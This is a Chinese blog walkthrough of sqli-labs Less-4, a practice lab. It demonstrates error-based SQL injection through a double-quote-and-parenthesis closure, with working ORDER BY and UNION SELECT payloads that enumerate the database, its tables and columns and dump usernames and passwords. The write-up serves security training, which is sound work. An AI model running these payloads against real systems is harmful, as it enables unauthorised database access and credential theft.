sqli-labs全通关(1-75)之Less-4 GET - Error based - Double Quotes - String

Less-4 GET - Error based - Double Quotes - String

在这里插入图片描述

在这里插入图片描述

一、判断是否存在注入点

使用 单引号 ’ , 双引号 " 判断是否有注入点;
当输入单引号正常返回,而输入双引号时报错,所以存在注入点,根据报错信息;

在这里插入图片描述
根据报错信息,这是以双引号 和 括号做闭合的。
在这里插入图片描述
通过查看源代码也可以看出它的闭合规则应该是双引号加括号;

二、判断注入类型

用减法判断注入类型;
当id=1 时,返回结果Dumb
在这里插入图片描述

当id=2-1时,返回Angelina
在这里插入图片描述
结果不一致,所以时字符型注入;

三、破解 SQL 查询语句中的字段数

构造order by N

1") order by 4--+

order by 3时,正常返回,by 4 时报错;
在这里插入图片描述
所以,可以得出字段数有三列;

四、获取当前数据库

构造union select 获取当前数据库

-1") union select 1, 2,database()--+

在这里插入图片描述
得到当前数据库名称为 security

五、获取数据库中的表

根据数据库名,获取表名 ,关键表是 information_schema.tables ,字段名table_name
构造 union select

-1") union select 1, 2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述

由此获得表名:emails,referers,uagents,users

六、获取表中的字段名

以users为例,根据表名,获取字段名,关键表时 information_schema.columns ,表名时 column_name
构造 union select

-1") union select 1, 2,group_concat(column_name) from information_schema.columns where table_name='users'--+

在这里插入图片描述
获得字段名:id,username,password

七、查询到账户的数据

根据表名、字段名;获取数据
构造 union select

-1") union select 1, 2,group_concat(username,':',password) from users--+

在这里插入图片描述

核心还是根据报错信息,推出查询的SQL语句。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值